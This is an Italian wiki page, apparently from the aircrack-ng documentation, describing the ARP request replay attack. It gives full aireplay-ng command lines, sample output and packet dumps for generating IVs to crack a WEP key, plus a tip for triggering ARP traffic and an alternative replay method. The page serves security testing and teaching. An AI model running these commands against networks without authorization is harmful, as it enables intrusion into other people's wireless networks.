Strumenti Utente

Strumenti Sito


it:arp-request_reinjection

ARP Request Replay Attack

Descrizione

Il classico attacco di ARP request replay è il più adatto a generare nuovi vettori d'inizializzazione (IV), e funziona molto spesso. Il software resta in ascolto di un pacchetto ARP e lo ritrasmette indietro all'access point. Questo, a sua volta, fa sì che l'access point ritrasmetta il pacchetto ARP con un nuovo IV. Il software ritrasmette lo stesso pacchetto ARP continuamente. Quindi, ogni pacchetto ARP ripetuto dall'access point ha un nuovo IV. Questi nuovi IV permettono di ricavare la chiave WEP.

Cos'è un ARP?

ARP sta per address resolution protocol: un protocollo TCP/IP usato per convertire un indirizzo IP in un indirizzo fisico, come un indirizzo Ethernet. Un host che vuole conoscere un indirizzo fisico invia in broadcast un ARP request sulla rete TCP/IP. L'host della rete che possiede l'indirizzo richiesto nel pacchetto, risponde con il proprio indirizzo fisico.

ARP sta alla base di molti attacchi della suite aircrack-ng. I seguenti link possono essere usati per saperne di più su ARP:

Utilizzo

Uso basiliare:

 aireplay-ng -3 -b 00:13:10:30:24:9C -h 00:11:22:33:44:55 ath0

Dove:

  • -3 indica l'utilizzo di un attacco ARP request replay
  • -b 00:13:10:30:24:9C è il MAC address dell'Access Point
  • -h 00:11:22:33:44:55 è il MAC address sorgente (o un client associato o uno ottenuto dal fake authentication)
  • ath0 l'interfaccia wireless da utilizzare

Ci sono due metodi per iniettare un ARP che è stato precedentemente iniettato. Il primo è il metodo più semplice e consiste nell'utilizzare l'opzione “-r” per leggere il file di output dell'ultimo attacco di ARP replay concluso con successo.

 aireplay-ng -3 -b 00:13:10:30:24:9C -h 00:11:22:33:44:55 -r replay_arp-0219-115508.cap ath0

Dove:

  • -3 indica l'utilizzo di un attacco ARP request replay
  • -b 00:13:10:30:24:9C è il MAC address dell'Access Point
  • -h 00:11:22:33:44:55 è il MAC address sorgente (o un client associato o uno ottenuto dal fake authentication)
  • -r replay_arp-0219-115508.cap è il nome del file dell'ultimo attacco di ARP replay concluso con successo
  • ath0 l'interfaccia wireless da utilizzare

Il secondo metodo è un caso speciale di attacco interactive packet replay. Esso viene presentato qui in quanto è complementare all'attacco ARP request replay.

 aireplay-ng -2 -r replay_arp-0219-115508.cap ath0

Dove:

  • -2 indica la selezione interattiva di un pacchetto (attacco interactive packet replay)
  • -r replay_arp-0219-115508.cap è il nome del file dell'ultimo attacco di ARP replay concluso con successo
  • ath0 l'interfaccia wireless da utilizzare

Esempi

Per tutti gli esempi di seguito riportati, usare prima di tutto airmon-ng per impostare la scheda in mode monitor. Se non la si imposta in mode monitor non è possibile iniettare pacchetti.

Per questo attacco, occorre o il MAC address di un client associato o un MAC fake dall'attacco 1. La via più semplice e facile è utilizzare il MAC address di un client associato che può essere ottenuto con airodump-ng. Il motivo per utilizzare un MAC address associato è che l'access point accetterà e ripeterà solo pacchetti inviati da MAC address associati.

Potrebbe essere necessario attendere un paio di minuti, o anche più, prima che venga visualizzata un ARP request. Quest'attacco fallirà se non c'è traffico di rete.

Inserire questo comando:

 aireplay-ng -3 -b 00:14:6c:7e:40:80 -h 00:0F:B5:88:AC:82 ath0

Il sistema risponde con:

 Saving ARP requests in replay_arp-0219-123051.cap
 You should also start airodump-ng to capture replies.
 Read 11978 packets (got 7193 ARP requests), sent 3902 packets...

Inizialmente l'ultima riga sarà simile alla seguente:

 Read 39 packets (got 0 ARP requests), sent 0 packets...

Quando l'attacco è in corso, gli zeri rappresentano il valore attuale del contatore. E' possibile confermarlo avviando airodump-ng per catturare gli IV generati. Esso dovrebbe mostrare un rapido incremento del contatore data per lo specifico access point.

Nel secondo esempio sarà mostrato come riutilizzare i pacchetti ARP catturati dall'esempio precedente. Da notare che le ARP request sono state salvate in “replay_arp-0219-123051.cap”. Così invece di attendere per nuovi pacchetti ARP, semplicemente si riutilizzano le vecchie con il parametro “-r”:

 aireplay-ng -2 -r replay_arp-0219-123051.cap ath0                          

Il sistema risponde:

      Size: 86, FromDS: 0, ToDS: 1 (WEP)
 
           BSSID  =  00:14:6C:7E:40:80
       Dest. MAC  =  FF:FF:FF:FF:FF:FF
      Source MAC  =  00:0F:B5:88:AC:82
  
      0x0000:  0841 0000 0014 6c7e 4080 000f b588 ac82  .A....l~@.......
      0x0010:  ffff ffff ffff 7092 e627 0000 7238 937c  ......p..'..r8.|
      0x0020:  8011 36c6 2b2c a79b 08f8 0c7e f436 14f7  ..6.+,.....~.6..
      0x0030:  8078 a08e 207c 17c6 43e3 fe8f 1a46 4981  .x.. |..C....FI.
      0x0040:  947c 1930 742a c85f 2699 dabe 1368 df39  .|.0t*._&....h.9
      0x0050:  ca97 0d9e 4731                           ....G1
      
 Use this packet ? y

Rispondendo “y” il sistema inizierà l'injection:

 Saving chosen packet in replay_src-0219-123117.cap
 You should also start airodump-ng to capture replies.
 
 Sent 3181 packets...

E' possibile utilizzare anche il comando visto nella sezione Utilizzo di sopra:

 aireplay-ng -3 -b 00:13:10:30:24:9C -h 00:11:22:33:44:55 -r replay_arp-0219-115508.cap ath0

A questo punto, se non lo si ha già fatto, avviare airodump-ng per catturare gli IV generati. Il contatore data dovrebbe incrementare rapidamente.

Suggerimenti

Se si sta testando a casa, per generare un pacchetto ARP per avviare un ARP injection, basta semplicemente pingare un IP inesistente in rete.

Risoluzione dei problemi

Sto iniettando ma gli IV non aumentano!

Ricevo 'Read XXXXX packets (got 0 ARP requests), sent 0 packets...(0 pps)' - Perché non invia alcun pacchetto?

Semplicemente perché non ci sono pacchetti ARP in broadcast in etere e sulla rete, niente da ripetere. Se aireplay-ng non trova nessun pacchetto, non può iniettare nulla. Da non dimenticare che il “replay” implica che vi siano pacchetti in broadcast, inviati dai leggittimi client/AP.

Attacco alternativo

Sebbene non vi siano suggerimenti diretti per la risoluzione dei problemi dovuti all'attacco ARP request replay, nel caso in cui non si riuscisse ad effettuare un attacco che funzioni o non ci siano pacchetti di ARP request provenienti dall'access point, esiste un attacco alternativo che bisognerebbe considerare:

  • metodo -p 0841: Questa tecnica permette di reiniettare qualunque pacchetto dati ricevuto dall'access point e generare IV.

In generale

Inoltre vedere la risoluzione dei problemi generali di aireplay-ng: risoluzione dei problemi di aireplay-ng.

it/arp-request_reinjection.txt · Ultima modifica: 2009/08/19 13:19 da drosophila